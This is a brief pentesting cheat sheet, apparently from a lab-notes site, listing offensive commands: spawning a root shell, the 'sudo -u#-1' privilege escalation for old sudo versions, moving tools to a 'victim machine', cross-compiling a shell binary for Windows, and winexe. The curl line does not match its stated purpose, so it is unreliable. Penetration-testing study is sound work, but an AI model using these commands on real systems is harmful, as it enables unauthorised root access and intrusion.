Tips & Tricks

Spawn root shell

sudo -s

# Can't execute /bin/bash?
# Older version of sudo are vulnerable to this priv esc method:

sudo -u#-1 /bin/bash

No "whoami" on Windows?

try:
echo %username%
set

# if the above do not work, you may transfer Kali's 'whoami.exe'to victim machine
curl -s -I IP_ADDRESS

Mingw C compiler for windows

x86_64-w64-mingw32-gcc shell.c -o shell.exe <--for 64 bit

i686-w64-mingw32-gcc shell.c -o shell.exe <--for 32 bit

winexe

In Kali, the winexe can be used to spawn a shell, for windows 2003, XP, and earlier. Unlikely to find these operating systems in the wild, but they may be in pentesting labs.

Grep for deleted files

Cracking zip files

Ping sweep Windows

Last updated

Was this helpful?